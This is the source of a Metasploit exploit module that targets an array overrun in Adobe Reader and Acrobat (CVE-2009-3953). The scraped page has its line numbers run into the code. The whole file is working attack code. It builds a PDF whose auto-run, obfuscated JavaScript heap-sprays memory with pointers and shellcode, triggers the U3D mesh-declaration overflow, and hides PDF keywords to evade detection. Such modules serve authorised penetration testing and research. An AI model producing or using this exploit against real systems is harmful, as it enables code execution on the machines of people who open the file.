Path: blob/master/modules/exploits/windows/fileformat/adobe_u3d_meshdecl.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::FILEFORMAT1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe U3D CLODProgressiveMeshDeclaration Array Overrun',17'Description' => %q{18This module exploits an array overflow in Adobe Reader and Adobe Acrobat.19Affected versions include < 7.1.4, < 8.2, and < 9.3. By creating a20specially crafted pdf that a contains malformed U3D data, an attacker may21be able to execute arbitrary code.22},23'License' => MSF_LICENSE,24'Author' => [25'Felipe Andres Manzano <felipe.andres.manzano[at]gmail.com>',26'jduck'27],28'References' => [29[ 'CVE', '2009-3953' ],30[ 'OSVDB', '61690' ],31[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-02.html' ]32],33'DefaultOptions' => {34'EXITFUNC' => 'process',35'DisablePayloadHandler' => true36},37'Payload' => {38'Space' => 1024,39'BadChars' => "\x00",40'DisableNops' => true41},42'Platform' => 'win',43'Targets' => [44# test results (on Windows XP SP3)45# reader 7.0.5 - untested46# reader 7.0.8 - untested47# reader 7.0.9 - untested48# reader 7.1.0 - untested49# reader 7.1.1 - untested50# reader 8.0.0 - untested51# reader 8.1.2 - works52# reader 8.1.3 - not working :-/53# reader 8.1.4 - untested54# reader 8.1.5 - untested55# reader 8.1.6 - untested56# reader 9.0.0 - untested57# reader 9.1.0 - works58[59'Adobe Reader Windows Universal (JS Heap Spray)',60{61'Size' => (6500 / 20),62'DataAddr' => 0x09011020,63'WriteAddr' => 0x7c49fb34,64}65],66],67'DisclosureDate' => '2009-10-13',68'DefaultTarget' => 0,69'Notes' => {70'Reliability' => UNKNOWN_RELIABILITY,71'Stability' => UNKNOWN_STABILITY,72'SideEffects' => UNKNOWN_SIDE_EFFECTS73}74)75)7677register_options(78[79OptString.new('FILENAME', [ true, 'The file name.', 'msf.pdf']),80]81)82end8384def exploit85# Encode the shellcode.86shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))8788# Make some nops89nops = Rex::Text.to_unescape(make_nops(4))9091=begin9293Original notes on heap technique used in this exploit:9495## PREPAREHOLES:96## We will construct 6500*20 bytes long chunks starting like this97## |0 |6 |8 |C |24 |size98## |00000... |0100|20100190|0000... | ......pad...... |99## \ \100## \ \ -Pointer: to controlled data101## \ -Flag: must be 1102## -Adobe will handle this ragged structure if the Flag is on.103## -Adobe will get 'what to write where' from the memory pointed104## by our supplied Pointer.105##106## then allocate a bunch of those ..107## .. | chunk | chunk | chunk | chunck | chunk | chunck | chunck | ..108## |XXXXXXX|XXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXX|XXXXXXXX|XXXXXXXX|109##110## and then free some of them...111## .. | chunk | free | chunk | free | chunk | free | chunck | ..112## |XXXXXXX| |XXXXXXX| |XXXXXXX| |XXXXXXXX|113##114## This way controlling when the next 6500*20 malloc will be115## followed with. We freed more than one hole so it became tolerant116## to some degree of malloc/free trace noise.117## Note the 6500 is arbitrary it should be a fairly unused chunk size118## not big enough to cause a different type of allocation.119## Also as we don't need to reference it from anywhere we don't care120## where this hole layout is placed in memory.121122## PREPAREMEMORY:123## In the next technique we make a big-chunk of 0x10000 bytes124## repeating a 0x1000 bytes long mini-chunk of controled data.125## Big-chunks are always allocated aligned to 0x1000. And if we126## allocate a fair amount of big-chuncks (XPSPx) we'll be confident127## Any 0x1000 aligned 0x1000 bytes from 0x09000000 to 0x0a000000128## will have our mini chunk129##130## A mini-chunk will have this look131##132## |0 |10 |54 |? |0xff0 |0x1000133## |00000... | POINTERS | nops | shellcode | pad |134##135## So we control what is in 0x09XXXXXX. shellcode will be at 0x09XXX054+136## But we use 0x09011064.137## POINTERS looks like this:138## ...139140=end141142# prepare the hole143daddr = target['DataAddr']144hole_data = [0, 0, 1, daddr].pack('VvvV')145# padding146hole_data << "\x00" * 24147hole = Rex::Text.to_unescape(hole_data)148149# prepare ptrs150ptrs_data = [0].pack('V')151# where to write152ptrs_data << [target['WriteAddr'] / 4].pack('V')153# must be greater tan 5 and less than x for getting us where we want154ptrs_data << [6].pack('V')155# what to write156ptrs_data << [(daddr + 0x10)].pack('V')157# autopointer for print magic(tm)158ptrs_data << [(daddr + 0x14)].pack('V')159# function pointers for print magic(tm)160# pointing to our shellcode161ptrs_data << [(daddr + 0x44)].pack('V') * 12162ptrs = Rex::Text.to_unescape(ptrs_data)163164js_doc = <<~EOF165function prepareHoles(slide_size)166{167var size = 1000;168var xarr = new Array(size);169var hole = unescape("#{hole}");170var pad = unescape("%u5858");171while (pad.length <= slide_size/2 - hole.length)172pad += pad;173for (loop1=0; loop1 < size; loop1+=1)174{175ident = ""+loop1;176xarr[loop1]=hole + pad.substring(0,slide_size/2-hole.length);177}178for (loop2=0;loop2<100;loop2++)179{180for (loop1=size/2; loop1 < size-2; loop1+=2)181{182xarr[loop1]=null;183xarr[loop1]=pad.substring(0,0x10000/2 )+"A";184xarr[loop1]=null;185}186}187return xarr;188}189190function prepareMemory(size)191{192var mini_slide_size = 0x1000;193var slide_size = 0x100000;194var xarr = new Array(size);195var pad = unescape("%ucccc");196197while (pad.length <= 32 )198pad += pad;199200var nops = unescape("#{nops}");201while (nops.length <= mini_slide_size/2 - nops.length)202nops += nops;203204var shellcode = unescape("#{shellcode}");205var pointers = unescape("#{ptrs}");206var chunk = nops.substring(0,32/2) + pointers +207nops.substring(0,mini_slide_size/2-pointers.length - shellcode.length - 32) +208shellcode + pad.substring(0,32/2);209chunk=chunk.substring(0,mini_slide_size/2);210while (chunk.length <= slide_size/2)211chunk += chunk;212213for (loop1=0; loop1 < size; loop1+=1)214{215ident = ""+loop1;216xarr[loop1]=chunk.substring(16,slide_size/2 -32-ident.length)+ident;217}218return xarr;219}220221var mem = prepareMemory(200);222var holes = prepareHoles(6500);223this.pageNum = 1;224EOF225js_pg1 = %Q|this.print({bUI:true, bSilent:false, bShrinkToFit:false});|226227# Obfuscate it up a bit228js_doc = obfuscate_js(js_doc,229'Symbols' => {230'Variables' => %W{slide_size size hole pad mini_slide_size nops shellcode pointers chunk mem holes xarr loop1 loop2 ident},231'Methods' => %W{prepareMemory prepareHoles}232}).to_s233234# create the u3d stuff235u3d = make_u3d_stream(target['Size'], rand_text_alpha(rand(28) + 4))236237# Create the pdf238pdf = make_pdf(u3d, js_doc, js_pg1)239240print_status("Creating '#{datastore['FILENAME']}' file...")241242file_create(pdf)243end244245def obfuscate_js(javascript, opts)246js = Rex::Exploitation::ObfuscateJS.new(javascript, opts)247js.obfuscate248return js249end250251def random_non_ascii_string(count)252result = ""253count.times do254result << (rand(128) + 128).chr255end256result257end258259def io_def(id)260"%d 0 obj\n" % id261end262263def io_ref(id)264"%d 0 R" % id265end266267# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/268def n_obfu(str)269result = ""270str.scan(/./u) do |c|271if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'272result << "#%x" % c.unpack("C*")[0]273else274result << c275end276end277result278end279280def ascii_hex_whitespace_encode(str)281result = ""282whitespace = ""283str.each_byte do |b|284result << whitespace << "%02x" % b285whitespace = " " * (rand(3) + 1)286end287result << ">"288end289290def u3d_pad(str, char = "\x00")291ret = ""292if (str.length % 4) > 0293ret << char * (4 - (str.length % 4))294end295return ret296end297298def make_u3d_stream(size, meshname)299# build the U3D header300hdr_data = [1, 0].pack('n*') # version info301hdr_data << [0, 0x24, 31337, 0, 0x6a].pack('VVVVV')302hdr = "U3D\x00"303hdr << [hdr_data.length, 0].pack('VV')304hdr << hdr_data305306# mesh declaration307decl_data = [meshname.length].pack('v')308decl_data << meshname309decl_data << [0].pack('V') # chain idx310# max mesh desc311decl_data << [0].pack('V') # mesh attrs312decl_data << [1].pack('V') # face count313decl_data << [size].pack('V') # position count314decl_data << [4].pack('V') # normal count315decl_data << [0].pack('V') # diffuse color count316decl_data << [0].pack('V') # specular color count317decl_data << [0].pack('V') # texture coord count318decl_data << [1].pack('V') # shading count319# shading desc320decl_data << [0].pack('V') # shading attr321decl_data << [0].pack('V') # texture layer count322decl_data << [0].pack('V') # texture coord dimensions323# no textore coords (original shading ids)324decl_data << [size + 2].pack('V') # minimum resolution325decl_data << [size + 3].pack('V') # final maximum resolution (needs to be bigger than the minimum)326# quality factors327decl_data << [0x12c].pack('V') # position quality factor328decl_data << [0x12c].pack('V') # normal quality factor329decl_data << [0x12c].pack('V') # texture coord quality factor330# inverse quantiziation331decl_data << [0].pack('V') # position inverse quant332decl_data << [0].pack('V') # normal inverse quant333decl_data << [0].pack('V') # texture coord inverse quant334decl_data << [0].pack('V') # diffuse color inverse quant335decl_data << [0].pack('V') # specular color inverse quant336# resource params337decl_data << [0].pack('V') # normal crease param338decl_data << [0].pack('V') # normal update param339decl_data << [0].pack('V') # normal tolerance param340# skeleton description341decl_data << [0].pack('V') # bone count342# padding343decl_pad = u3d_pad(decl_data)344mesh_decl = [0xffffff31, decl_data.length, 0].pack('VVV')345mesh_decl << decl_data346mesh_decl << decl_pad347348# build the modifier chain349chain_data = [meshname.length].pack('v')350chain_data << meshname351chain_data << [1].pack('V') # type (model resource)352chain_data << [0].pack('V') # attributes (no bounding info)353chain_data << u3d_pad(chain_data)354chain_data << [1].pack('V') # number of modifiers355chain_data << mesh_decl356modifier_chain = [0xffffff14, chain_data.length, 0].pack('VVV')357modifier_chain << chain_data358359# mesh continuation360cont_data = [meshname.length].pack('v')361cont_data << meshname362cont_data << [0].pack('V') # chain idx363cont_data << [0].pack('V') # start resolution364cont_data << [0].pack('V') # end resolution365# no resolution update, unknown data follows366cont_data << [0].pack('V')367cont_data << [1].pack('V') * 10368mesh_cont = [0xffffff3c, cont_data.length, 0].pack('VVV')369mesh_cont << cont_data370mesh_cont << u3d_pad(cont_data)371372data = hdr373data << modifier_chain374data << mesh_cont375376# patch the length377data[24, 4] = [data.length].pack('V')378379return data380end381382def make_pdf(u3d_stream, js_doc, js_pg1)383xref = []384eol = "\x0a"385obj_end = "" << eol << "endobj" << eol386387# the header388pdf = "%PDF-1.7" << eol389390# filename/comment391pdf << "%" << random_non_ascii_string(4) << eol392393# js stream (doc open action js)394xref << pdf.length395compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_doc))396pdf << io_def(1) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol397pdf << "stream" << eol398pdf << compressed << eol399pdf << "endstream" << eol400pdf << obj_end401402# js stream 2 (page 1 annot js)403xref << pdf.length404compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js_pg1))405pdf << io_def(2) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol406pdf << "stream" << eol407pdf << compressed << eol408pdf << "endstream" << eol409pdf << obj_end410411# catalog412xref << pdf.length413pdf << io_def(3) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(4)414pdf << n_obfu("/Pages ") << io_ref(5)415pdf << n_obfu("/OpenAction ") << io_ref(8) << n_obfu(">>")416pdf << obj_end417418# outline419xref << pdf.length420pdf << io_def(4) << n_obfu("<</Type/Outlines/Count 0>>")421pdf << obj_end422423# pages/kids424xref << pdf.length425pdf << io_def(5) << n_obfu("<</Type/Pages/Count 2/Kids [")426pdf << io_ref(10) << " " # empty page427pdf << io_ref(11) # u3d page428pdf << n_obfu("]>>")429pdf << obj_end430431# u3d stream432xref << pdf.length433pdf << io_def(6) << n_obfu("<</Type/3D/Subtype/U3D/Length %s>>" % u3d_stream.length) << eol434pdf << "stream" << eol435pdf << u3d_stream << eol436pdf << "endstream"437pdf << obj_end438439# u3d annotation object440xref << pdf.length441pdf << io_def(7) << n_obfu("<</Type/Annot/Subtype")442pdf << "/3D/3DA <</A/PO/DIS/I>>"443pdf << n_obfu("/Rect [0 0 640 480]/3DD ") << io_ref(6) << n_obfu("/F 7>>")444pdf << obj_end445446# js dict (open action js)447xref << pdf.length448pdf << io_def(8) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(1) + ">>" << obj_end449450# js dict (page 1 annot js)451xref << pdf.length452pdf << io_def(9) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(2) + ">>" << obj_end453454# page 0 (empty)455xref << pdf.length456pdf << io_def(10) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")457pdf << n_obfu(" >>")458pdf << obj_end459460# page 1 (u3d/print)461xref << pdf.length462pdf << io_def(11) << n_obfu("<</Type/Page/Parent ") << io_ref(5) << n_obfu("/MediaBox [0 0 640 480]")463pdf << n_obfu("/Annots [") << io_ref(7) << n_obfu("]")464pdf << n_obfu("/AA << /O ") << io_ref(9) << n_obfu(">>")465pdf << n_obfu(">>")466pdf << obj_end467468# xrefs469xrefPosition = pdf.length470pdf << "xref" << eol471pdf << "0 %d" % (xref.length + 1) << eol472pdf << "0000000000 65535 f" << eol473xref.each do |index|474pdf << "%010d 00000 n" % index << eol475end476477# trailer478pdf << "trailer" << eol479pdf << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(3) << ">>" << eol480pdf << "startxref" << eol481pdf << xrefPosition.to_s() << eol482pdf << "%%EOF" << eol483end484end485486487